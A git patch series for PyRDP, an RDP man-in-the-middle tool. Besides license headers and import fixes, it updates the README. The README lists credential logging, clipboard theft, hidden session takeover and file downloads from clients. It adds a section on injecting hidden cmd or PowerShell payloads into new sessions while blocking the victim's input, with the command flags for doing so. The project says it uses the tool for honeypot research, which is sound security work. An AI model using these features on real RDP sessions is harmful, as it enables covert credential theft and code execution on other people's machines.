pyrdp/player/LiveWindow.py | 6 ++++++ pyrdp/player/PlayerLayerSet.py | 6 ++++++ pyrdp/player/RDPMITMWidget.py | 6 ++++++ pyrdp/player/Replay.py | 6 ++++++ pyrdp/player/ReplayTab.py | 6 ++++++ pyrdp/player/ReplayWindow.py | 6 ++++++ pyrdp/player/keyboard.py | 6 ++++++ setup.py | 6 ++++++ 27 files changed, 154 insertions(+) diff --git a/pyrdp/__init__.py b/pyrdp/__init__.py index e69de29bb..3b1dd6904 100644 --- a/pyrdp/__init__.py +++ b/pyrdp/__init__.py @@ -0,0 +1,5 @@ +# +# This file is part of the PyRDP project. +# Copyright (C) 2019 GoSecure Inc. +# Licensed under the GPLv3 or later. +# \ No newline at end of file diff --git a/pyrdp/core/FileProxy.py b/pyrdp/core/FileProxy.py index 80a47718e..f82c4b5f8 100644 --- a/pyrdp/core/FileProxy.py +++ b/pyrdp/core/FileProxy.py @@ -1,3 +1,9 @@ +# +# This file is part of the PyRDP project. +# Copyright (C) 2019 GoSecure Inc. +# Licensed under the GPLv3 or later. +# + from pathlib import Path from typing import BinaryIO diff --git a/pyrdp/core/event.py b/pyrdp/core/event.py index 318060d6a..b40e2709e 100644 --- a/pyrdp/core/event.py +++ b/pyrdp/core/event.py @@ -1,3 +1,9 @@ +# +# This file is part of the PyRDP project. +# Copyright (C) 2019 GoSecure Inc. +# Licensed under the GPLv3 or later. +# + import asyncio import operator from typing import Callable, Dict diff --git a/pyrdp/core/twisted.py b/pyrdp/core/twisted.py index e78449efb..ae95e0a1e 100644 --- a/pyrdp/core/twisted.py +++ b/pyrdp/core/twisted.py @@ -1,3 +1,9 @@ +# +# This file is part of the PyRDP project. +# Copyright (C) 2019 GoSecure Inc. +# Licensed under the GPLv3 or later. +# + import asyncio from typing import Callable, Union diff --git a/pyrdp/enum/player.py b/pyrdp/enum/player.py index b4446d4df..e01746bea 100644 --- a/pyrdp/enum/player.py +++ b/pyrdp/enum/player.py @@ -1,3 +1,9 @@ +# +# This file is part of the PyRDP project. +# Copyright (C) 2019 GoSecure Inc. +# Licensed under the GPLv3 or later. +# + from enum import IntEnum diff --git a/pyrdp/enum/virtual_channel/__init__.py b/pyrdp/enum/virtual_channel/__init__.py index e69de29bb..3b1dd6904 100644 --- a/pyrdp/enum/virtual_channel/__init__.py +++ b/pyrdp/enum/virtual_channel/__init__.py @@ -0,0 +1,5 @@ +# +# This file is part of the PyRDP project. +# Copyright (C) 2019 GoSecure Inc. +# Licensed under the GPLv3 or later. +# \ No newline at end of file diff --git a/pyrdp/layer/rdp/__init__.py b/pyrdp/layer/rdp/__init__.py index e69de29bb..3b1dd6904 100644 --- a/pyrdp/layer/rdp/__init__.py +++ b/pyrdp/layer/rdp/__init__.py @@ -0,0 +1,5 @@ +# +# This file is part of the PyRDP project. +# Copyright (C) 2019 GoSecure Inc. +# Licensed under the GPLv3 or later. +# \ No newline at end of file diff --git a/pyrdp/layer/rdp/virtual_channel/__init__.py b/pyrdp/layer/rdp/virtual_channel/__init__.py index e69de29bb..3b1dd6904 100644 --- a/pyrdp/layer/rdp/virtual_channel/__init__.py +++ b/pyrdp/layer/rdp/virtual_channel/__init__.py @@ -0,0 +1,5 @@ +# +# This file is part of the PyRDP project. +# Copyright (C) 2019 GoSecure Inc. +# Licensed under the GPLv3 or later. +# \ No newline at end of file diff --git a/pyrdp/logging/adapters.py b/pyrdp/logging/adapters.py index 05c92fcbf..b1c49d5ee 100644 --- a/pyrdp/logging/adapters.py +++ b/pyrdp/logging/adapters.py @@ -1,3 +1,9 @@ +# +# This file is part of the PyRDP project. +# Copyright (C) 2019 GoSecure Inc. +# Licensed under the GPLv3 or later. +# + import logging diff --git a/pyrdp/logging/handlers.py b/pyrdp/logging/handlers.py index 0ec8b112b..0b13af81b 100644 --- a/pyrdp/logging/handlers.py +++ b/pyrdp/logging/handlers.py @@ -1,3 +1,9 @@ +# +# This file is part of the PyRDP project. +# Copyright (C) 2019 GoSecure Inc. +# Licensed under the GPLv3 or later. +# + import logging import notify2 diff --git a/pyrdp/mitm/FileMapping.py b/pyrdp/mitm/FileMapping.py index 656f2b452..a265d39e3 100644 --- a/pyrdp/mitm/FileMapping.py +++ b/pyrdp/mitm/FileMapping.py @@ -1,3 +1,9 @@ +# +# This file is part of the PyRDP project. +# Copyright (C) 2019 GoSecure Inc. +# Licensed under the GPLv3 or later. +# + import datetime import json from pathlib import Path diff --git a/pyrdp/parser/RawParser.py b/pyrdp/parser/RawParser.py index ecdd83c97..3c690dadc 100644 --- a/pyrdp/parser/RawParser.py +++ b/pyrdp/parser/RawParser.py @@ -1,3 +1,9 @@ +# +# This file is part of the PyRDP project. +# Copyright (C) 2019 GoSecure Inc. +# Licensed under the GPLv3 or later. +# + from pyrdp.parser import Parser from pyrdp.pdu import PDU diff --git a/pyrdp/parser/player.py b/pyrdp/parser/player.py index 9e7beded7..d010120ba 100644 --- a/pyrdp/parser/player.py +++ b/pyrdp/parser/player.py @@ -1,3 +1,9 @@ +# +# This file is part of the PyRDP project. +# Copyright (C) 2019 GoSecure Inc. +# Licensed under the GPLv3 or later. +# + from io import BytesIO from pyrdp.core import Int16LE, Uint16LE, Uint32LE, Uint64LE, Uint8 diff --git a/pyrdp/parser/rdp/__init__.py b/pyrdp/parser/rdp/__init__.py index e69de29bb..3b1dd6904 100644 --- a/pyrdp/parser/rdp/__init__.py +++ b/pyrdp/parser/rdp/__init__.py @@ -0,0 +1,5 @@ +# +# This file is part of the PyRDP project. +# Copyright (C) 2019 GoSecure Inc. +# Licensed under the GPLv3 or later. +# \ No newline at end of file diff --git a/pyrdp/parser/rdp/virtual_channel/__init__.py b/pyrdp/parser/rdp/virtual_channel/__init__.py index e69de29bb..3b1dd6904 100644 --- a/pyrdp/parser/rdp/virtual_channel/__init__.py +++ b/pyrdp/parser/rdp/virtual_channel/__init__.py @@ -0,0 +1,5 @@ +# +# This file is part of the PyRDP project. +# Copyright (C) 2019 GoSecure Inc. +# Licensed under the GPLv3 or later. +# \ No newline at end of file diff --git a/pyrdp/parser/tcp.py b/pyrdp/parser/tcp.py index aa8d9d0f2..a13ea50b4 100644 --- a/pyrdp/parser/tcp.py +++ b/pyrdp/parser/tcp.py @@ -1,3 +1,9 @@ +# +# This file is part of the PyRDP project. +# Copyright (C) 2019 GoSecure Inc. +# Licensed under the GPLv3 or later. +# + from pyrdp.parser import Parser from pyrdp.pdu import PDU from pyrdp.pdu.tcp import TCPPDU diff --git a/pyrdp/pdu/rdp/__init__.py b/pyrdp/pdu/rdp/__init__.py index e69de29bb..3b1dd6904 100644 --- a/pyrdp/pdu/rdp/__init__.py +++ b/pyrdp/pdu/rdp/__init__.py @@ -0,0 +1,5 @@ +# +# This file is part of the PyRDP project. +# Copyright (C) 2019 GoSecure Inc. +# Licensed under the GPLv3 or later. +# \ No newline at end of file diff --git a/pyrdp/pdu/rdp/virtual_channel/__init__.py b/pyrdp/pdu/rdp/virtual_channel/__init__.py index e69de29bb..3b1dd6904 100644 --- a/pyrdp/pdu/rdp/virtual_channel/__init__.py +++ b/pyrdp/pdu/rdp/virtual_channel/__init__.py @@ -0,0 +1,5 @@ +# +# This file is part of the PyRDP project. +# Copyright (C) 2019 GoSecure Inc. +# Licensed under the GPLv3 or later. +# \ No newline at end of file diff --git a/pyrdp/pdu/tcp.py b/pyrdp/pdu/tcp.py index b89a50894..9ab39d5b4 100644 --- a/pyrdp/pdu/tcp.py +++ b/pyrdp/pdu/tcp.py @@ -1,3 +1,9 @@ +# +# This file is part of the PyRDP project. +# Copyright (C) 2019 GoSecure Inc. +# Licensed under the GPLv3 or later. +# + from pyrdp.pdu import PDU diff --git a/pyrdp/player/LiveWindow.py b/pyrdp/player/LiveWindow.py index 7fc88995b..b420998c4 100644 --- a/pyrdp/player/LiveWindow.py +++ b/pyrdp/player/LiveWindow.py @@ -1,3 +1,9 @@ +# +# This file is part of the PyRDP project. +# Copyright (C) 2019 GoSecure Inc. +# Licensed under the GPLv3 or later. +# + import asyncio from queue import Queue diff --git a/pyrdp/player/PlayerLayerSet.py b/pyrdp/player/PlayerLayerSet.py index 6d5c1fe51..a7587b638 100644 --- a/pyrdp/player/PlayerLayerSet.py +++ b/pyrdp/player/PlayerLayerSet.py @@ -1,3 +1,9 @@ +# +# This file is part of the PyRDP project. +# Copyright (C) 2019 GoSecure Inc. +# Licensed under the GPLv3 or later. +# + from pyrdp.layer import AsyncIOTCPLayer, LayerChainItem, PlayerLayer, TwistedTCPLayer diff --git a/pyrdp/player/RDPMITMWidget.py b/pyrdp/player/RDPMITMWidget.py index bc2a0b6d9..ec9a4ce9a 100644 --- a/pyrdp/player/RDPMITMWidget.py +++ b/pyrdp/player/RDPMITMWidget.py @@ -1,3 +1,9 @@ +# +# This file is part of the PyRDP project. +# Copyright (C) 2019 GoSecure Inc. +# Licensed under the GPLv3 or later. +# + import functools import logging import platform diff --git a/pyrdp/player/Replay.py b/pyrdp/player/Replay.py index eb5813f4f..1c9d6e429 100644 --- a/pyrdp/player/Replay.py +++ b/pyrdp/player/Replay.py @@ -1,3 +1,9 @@ +# +# This file is part of the PyRDP project. +# Copyright (C) 2019 GoSecure Inc. +# Licensed under the GPLv3 or later. +# + import os from collections import defaultdict from typing import BinaryIO, Dict, List diff --git a/pyrdp/player/ReplayTab.py b/pyrdp/player/ReplayTab.py index 12b0eccc3..31e289001 100644 --- a/pyrdp/player/ReplayTab.py +++ b/pyrdp/player/ReplayTab.py @@ -1,3 +1,9 @@ +# +# This file is part of the PyRDP project. +# Copyright (C) 2019 GoSecure Inc. +# Licensed under the GPLv3 or later. +# + from PySide2.QtWidgets import QApplication, QWidget from pyrdp.layer import PlayerLayer diff --git a/pyrdp/player/ReplayWindow.py b/pyrdp/player/ReplayWindow.py index 30a001c88..4899a12cc 100644 --- a/pyrdp/player/ReplayWindow.py +++ b/pyrdp/player/ReplayWindow.py @@ -1,3 +1,9 @@ +# +# This file is part of the PyRDP project. +# Copyright (C) 2019 GoSecure Inc. +# Licensed under the GPLv3 or later. +# + from PySide2.QtGui import QKeySequence from PySide2.QtWidgets import QShortcut, QWidget diff --git a/pyrdp/player/keyboard.py b/pyrdp/player/keyboard.py index 5d6d942c6..053d87837 100644 --- a/pyrdp/player/keyboard.py +++ b/pyrdp/player/keyboard.py @@ -1,3 +1,9 @@ +# +# This file is part of the PyRDP project. +# Copyright (C) 2019 GoSecure Inc. +# Licensed under the GPLv3 or later. +# + from typing import Optional from PySide2.QtCore import Qt diff --git a/setup.py b/setup.py index 908affd1e..6b3d19a00 100755 --- a/setup.py +++ b/setup.py @@ -1,6 +1,12 @@ #!/usr/bin/env python3 # coding=utf-8 +# +# This file is part of the PyRDP project. +# Copyright (C) 2019 GoSecure Inc. +# Licensed under the GPLv3 or later. +# + # setuptools MUST be imported first, otherwise we get an error with the ext_modules argument. import setuptools from distutils.core import Extension, setup From d21164a0550f3136a6f22610ece1e3472891e9e7 Mon Sep 17 00:00:00 2001 From: Francis Labelle Date: Thu, 25 Apr 2019 15:45:13 -0400 Subject: [PATCH 109/113] Import TwistedPlayerLayerSet from pyrdp.player.PlayerLayerSet instead of pyrdp.player. Should fix #96 --- pyrdp/mitm/mitm.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pyrdp/mitm/mitm.py b/pyrdp/mitm/mitm.py index 00dee3c76..3a1775540 100644 --- a/pyrdp/mitm/mitm.py +++ b/pyrdp/mitm/mitm.py @@ -32,7 +32,7 @@ from pyrdp.mitm.TCPMITM import TCPMITM from pyrdp.mitm.VirtualChannelMITM import VirtualChannelMITM from pyrdp.mitm.X224MITM import X224MITM -from pyrdp.player import TwistedPlayerLayerSet +from pyrdp.player.PlayerLayerSet import TwistedPlayerLayerSet from pyrdp.recording import FileLayer, RecordingFastPathObserver, RecordingSlowPathObserver From a4e499077fc35313eaed840b6cbff78b1f578ece Mon Sep 17 00:00:00 2001 From: Francis Labelle Date: Thu, 25 Apr 2019 17:24:51 -0400 Subject: [PATCH 110/113] Move PlayerLayerSet to the mitm module. Should fix #96 for real. --- pyrdp/{player => mitm}/PlayerLayerSet.py | 0 pyrdp/mitm/mitm.py | 2 +- pyrdp/player/LiveTab.py | 2 +- pyrdp/player/__init__.py | 1 - 4 files changed, 2 insertions(+), 3 deletions(-) rename pyrdp/{player => mitm}/PlayerLayerSet.py (100%) diff --git a/pyrdp/player/PlayerLayerSet.py b/pyrdp/mitm/PlayerLayerSet.py similarity index 100% rename from pyrdp/player/PlayerLayerSet.py rename to pyrdp/mitm/PlayerLayerSet.py diff --git a/pyrdp/mitm/mitm.py b/pyrdp/mitm/mitm.py index 3a1775540..2fbaa7095 100644 --- a/pyrdp/mitm/mitm.py +++ b/pyrdp/mitm/mitm.py @@ -32,7 +32,7 @@ from pyrdp.mitm.TCPMITM import TCPMITM from pyrdp.mitm.VirtualChannelMITM import VirtualChannelMITM from pyrdp.mitm.X224MITM import X224MITM -from pyrdp.player.PlayerLayerSet import TwistedPlayerLayerSet +from pyrdp.mitm.PlayerLayerSet import TwistedPlayerLayerSet from pyrdp.recording import FileLayer, RecordingFastPathObserver, RecordingSlowPathObserver diff --git a/pyrdp/player/LiveTab.py b/pyrdp/player/LiveTab.py index 1b270ce78..8d1e8ef02 100644 --- a/pyrdp/player/LiveTab.py +++ b/pyrdp/player/LiveTab.py @@ -14,7 +14,7 @@ from pyrdp.player.filesystem import DirectoryObserver, FileSystem from pyrdp.player.FileSystemWidget import FileSystemWidget from pyrdp.player.LiveEventHandler import LiveEventHandler -from pyrdp.player.PlayerLayerSet import AsyncIOPlayerLayerSet +from pyrdp.mitm.PlayerLayerSet import AsyncIOPlayerLayerSet from pyrdp.player.RDPMITMWidget import RDPMITMWidget diff --git a/pyrdp/player/__init__.py b/pyrdp/player/__init__.py index 1a6c56025..784c81325 100644 --- a/pyrdp/player/__init__.py +++ b/pyrdp/player/__init__.py @@ -11,7 +11,6 @@ from pyrdp.player.LiveWindow import LiveWindow from pyrdp.player.MainWindow import MainWindow from pyrdp.player.PlayerEventHandler import PlayerEventHandler -from pyrdp.player.PlayerLayerSet import AsyncIOPlayerLayerSet, TwistedPlayerLayerSet from pyrdp.player.QTimerSequencer import QTimerSequencer from pyrdp.player.Replay import Replay from pyrdp.player.ReplayBar import ReplayBar From 83208b80ecb211ce0f55a76e40652a79cb022356 Mon Sep 17 00:00:00 2001 From: Francis Labelle Date: Thu, 25 Apr 2019 17:39:06 -0400 Subject: [PATCH 111/113] Update README --- README.md | 93 +++++++++++++++++++++++++++++++++++++++++++++---------- 1 file changed, 77 insertions(+), 16 deletions(-) diff --git a/README.md b/README.md index f6b9c0350..ea5610dc0 100644 --- a/README.md +++ b/README.md @@ -3,17 +3,20 @@ PyRDP is a Python 3 Remote Desktop Protocol (RDP) Man-in-the-Middle (MITM) and l It features a few tools: - RDP Man-in-the-Middle - - Logs credentials used to connect + - Logs credentials used when connecting - Steals data copied to the clipboard - Saves a copy of the files transferred over the network - Saves replays of connections so you can look at them later + - Run console commands or PowerShell payloads automatically on new connections - RDP Player: - See live RDP connections coming from the MITM - View replays of RDP connections + - Take control of active RDP sessions while hiding your actions + - List the client's mapped drives and download files from them during active sessions - RDP Certificate Cloner: - Create a self-signed X509 certificate with the same fields as an RDP server's certificate -We are using this tool as part of an RDP honeypot which records sessions and saves a copy of the malware dropped on our +We have used this tool as part of an RDP honeypot which records sessions and saves a copy of the malware dropped on our target machine. ## Table of Contents @@ -46,46 +49,104 @@ PyRDP should work on Python 3.6 and up. This tool has been tested to work on Python 3.6 on Linux (Ubuntu 18.04). It has not been tested on OSX and Windows. ## Installing -First, make sure to install the prerequisite packages + +We recommend installing PyRDP in a +[virtual environment](https://packaging.python.org/guides/installing-using-pip-and-virtual-environments/) +to avoid dependency issues. + +First, make sure to install the prerequisite packages (on Ubuntu): ``` sudo apt install libdbus-1-dev libdbus-glib-1-dev ``` -You can now install PyRDP by running the setup script with pip: +On some systems, you may need to install the `python3-venv` package: ``` -sudo pip3 install -U -e . +sudo apt install python3-venv +``` + +Then, create your virtual environment in PyRDP's directory: + +``` +cd pyrdp +python3 -m venv venv +``` + +*DO NOT* use the root PyRDP directory for the virtual environment folder (`python3 -m venv .`). You will make a mess, +and using a directory name like `venv` is more standard anyway. + +Before installing the dependencies, you need to activate your virtual environment: + +``` +source venv/bin/activate +``` + +Finally, you can install the project with Pip: + +``` +pip3 install -U pip setuptools wheel +pip3 install -U -e . ``` This should install all the dependencies required to run PyRDP. +If you ever want to leave your virtual environment, you can simply deactivate it: + +``` +deactivate +``` + +Note that you will have to activate your environment every time you want to have the PyRDP scripts available as shell +commands. + ### Installing with Docker -PyRDP can be installed in a container. First of all, create the image by executing this command at the root of pyRDP (where Dockerfile is located): +First of all, build the image by executing this command at the root of PyRDP (where Dockerfile is located): + ``` docker build -t pyrdp . ``` -Afterwards, you can execute the following command to run the container. + +Afterwards, you can execute the following command to run the container: + ``` -docker run pyrdp pyrdp-mitm.py 192.168.1.10 +docker run -it pyrdp pyrdp-mitm.py 192.168.1.10 ``` -For more information about the diffrent commands and arguments, please refer to these sections: [Using the PyRDP MITM](#using-the-pyrdp-mitm), [Using the PyRDP Player](#using-the-pyrdp-player), [Using the PyRDP Certificate Cloner](#using-the-pyrdp-certificate-cloner). -To store the log files, be sure that your destination directory is owned by a user with a UID of 1000, otherwise you will get a permission denied error. If you're the only user on the system, you should not worry about this. Add the -v option to the previous command: +For more information about the various commands and arguments, please refer to these sections: + +- [Using the PyRDP MITM](#using-the-pyrdp-mitm) +- [Using the PyRDP Player](#using-the-pyrdp-player) +- [Using the PyRDP Certificate Cloner](#using-the-pyrdp-certificate-cloner) + +To store the PyRDP output permanently (logs, files, etc.), add the -v option to the previous command. For example: + ``` -docker run -v /home/developer/logs:/home/pyrdp/log pyrdp pyrdp-mitm.py 192.168.1.10 +docker run -v /home/myname/pyrdp_output:/home/pyrdp/pyrdp_output pyrdp pyrdp-mitm.py 192.168.1.10 ``` -Using the player will require you to export the DISPLAY environment variable from the host to the docker (this redirects the GUI of the player to the host screen), expose the host's network and stop Qt from using the MITM-SHM X11 Shared Memory Extension. To do so, add the -e and --net options to the run command: + +Make sure that your destination directory is owned by a user with a UID of 1000, otherwise you will get a permission denied error. +If you're the only user on the system, you should not need to worry about this. + +#### Using the player in Docker + +Using the player will require you to export the DISPLAY environment variable from the host to the docker. +This redirects the GUI of the player to the host screen. +You also need to expose the host's network and stop Qt from using the MIT-SHM X11 Shared Memory Extension. +To do so, add the -e and --net options to the run command: + ``` docker run -e DISPLAY=$DISPLAY -e QT_X11_NO_MITSHM=1 --net=host pyrdp pyrdp-player.py ``` -Keep in mind that exposing the host's network to the docker can compromise the isolation between your container and the host. If you plan on using the player, X11 forwarding using an SSH connection would be a more secure way. + +Keep in mind that exposing the host's network to the docker can compromise the isolation between your container and the host. +If you plan on using the player, X11 forwarding using an SSH connection would be a more secure way. ### Installing on Windows If you want to install PyRDP on Windows, note that `setup.py` will try to compile `ext/rle.c`, so you will need to have a C compiler installed. You will also need to generate a private key and certificate to run the MITM. -## Using the PyRDP MITM +## Using the PyRDP Man-in-the-Middle Use `pyrdp-mitm.py ` or `pyrdp-mitm.py :` to run the MITM. Assuming you have an RDP server running on `192.168.1.10` and listening on port 3389, you would run: @@ -118,8 +179,8 @@ pyrdp-mitm.py 192.168.1.10 -i 127.0.0.1 -d 3000 If you are running the MITM on a server and still want to see live RDP connections, you should use [SSH remote port forwarding](https://www.booleanworld.com/guide-ssh-port-forwarding-tunnelling/) to forward a port on your server to the player's port on your machine. Once this is done, you pass `127.0.0.1` and the forwarded -port as arguments to the MITM. For example, if port 4000 on the server is forwarded to port 3000 on your machine, this would -be the command to use: +port as arguments to the MITM. For example, if port 4000 on the server is forwarded to the player's port on your machine, +this would be the command to use: ``` pyrdp-mitm.py 192.168.1.10 -i 127.0.0.1 -d 4000 From 9dfaedc3b11679becf5ac41fe22fc5fbe8af37e8 Mon Sep 17 00:00:00 2001 From: Francis Labelle Date: Fri, 26 Apr 2019 15:33:22 -0400 Subject: [PATCH 112/113] Add section for running payloads on new connections --- README.md | 53 +++++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 53 insertions(+) diff --git a/README.md b/README.md index ea5610dc0..55d3dc60e 100644 --- a/README.md +++ b/README.md @@ -186,6 +186,59 @@ this would be the command to use: pyrdp-mitm.py 192.168.1.10 -i 127.0.0.1 -d 4000 ``` +### Running payloads on new connections +PyRDP has support for running console commands or PowerShell payloads automatically when new connections are made. +Due to the nature of RDP, the process is a bit hackish and is not always 100% reliable. Here is how it works: + +1. Wait for the user to be authenticated. +2. Block the client's input / output to hide the payload and prevent interference. +3. Send a fake Windows+R sequence and run `cmd.exe`. +4. Run the payload as a console command and exit the console. If a PowerShell payload is configured, it is run with `powershell -enc `. +5. Wait a bit to allow the payload to complete. +6. Restore the client's input / output. + +For this to work, you need to set 3 arguments: + +- the payload +- the delay before the payload starts +- the payload's duration + +#### Setting the payload +You can use one of the following arguments to set the payload to run: + +- `--payload`, a string containing console commands +- `--payload-powershell`, a string containing PowerShell commands +- `--payload-powershell-file`, a path to a PowerShell script + +#### Choosing when to start the payload +For the moment, PyRDP does not detect when the user is logged on. +You must give it an amount of time to wait for before running the payload. +After this amount of time has passed, it will send the fake key sequences and expect the payload to run properly. +To do this, you use the `--payload-delay` argument. The delay is in milliseconds. +For example, if you expect the user to be logged in within the first 5 seconds, you would use the following arguments: + +``` +--payload-delay 5000 +``` + +This could be made more accurate by leveraging some messages exchanged during RDPDR initialization. +See [this issue](https://github.com/GoSecure/pyrdp/issues/98) if you're interested in making this work better. + +#### Choosing when to resume normal activity +Because there is no direct way to know when the console has stopped running, you must tell PyRDP how long you want +the client's input / output to be blocked. We recommend you set this to the maximum amount of time you would expect the +console that is running your payload to be visible. In other words, the amount of time you would expect your payload to +complete. +To set the payload duration, you use the `--payload-duration` argument with an amount of time in milliseconds. +For example, if you expect your payload to take up to 5 seconds to complete, you would use the following argument: + +``` +--payload-duration 5000 +``` + +This will block the client's input / output for 5 seconds to hide the console and prevent interference. +After 5 seconds, input / output is restored back to normal. + ### Other MITM arguments Run `pyrdp-mitm.py --help` for a full list of arguments. From 795172632d6c1baa11e6252c1d7462e723d59700 Mon Sep 17 00:00:00 2001 From: Francis Labelle Date: Fri, 26 Apr 2019 15:47:48 -0400 Subject: [PATCH 113/113] Fix anchors and update ToC --- README.md | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index 55d3dc60e..9a829372a 100644 --- a/README.md +++ b/README.md @@ -24,10 +24,14 @@ target machine. - [Installing](#installing) * [Installing with Docker](#installing-with-docker) * [Installing on Windows](#installing-on-windows) -- [Using the PyRDP MITM](#using-the-pyrdp-mitm) +- [Using the PyRDP Man-in-the-Middle](#using-the-pyrdp-man-in-the-middle) * [Specifying the private key and certificate](#specifying-the-private-key-and-certificate) * [Connecting to the PyRDP player](#connecting-to-the-pyrdp-player) + [Connecting to a PyRDP player when the MITM is running on a server](#connecting-to-a-pyrdp-player-when-the-mitm-is-running-on-a-server) + * [Running payloads on new connections](#running-payloads-on-new-connections) + + [Setting the payload](#setting-the-payload) + + [Choosing when to start the payload](#choosing-when-to-start-the-payload) + + [Choosing when to resume normal activity](#choosing-when-to-resume-normal-activity) * [Other MITM arguments](#other-mitm-arguments) - [Using the PyRDP Player](#using-the-pyrdp-player) * [Playing a replay file](#playing-a-replay-file) @@ -115,7 +119,7 @@ docker run -it pyrdp pyrdp-mitm.py 192.168.1.10 For more information about the various commands and arguments, please refer to these sections: -- [Using the PyRDP MITM](#using-the-pyrdp-mitm) +- [Using the PyRDP MITM](#using-the-pyrdp-man-in-the-middle) - [Using the PyRDP Player](#using-the-pyrdp-player) - [Using the PyRDP Certificate Cloner](#using-the-pyrdp-certificate-cloner)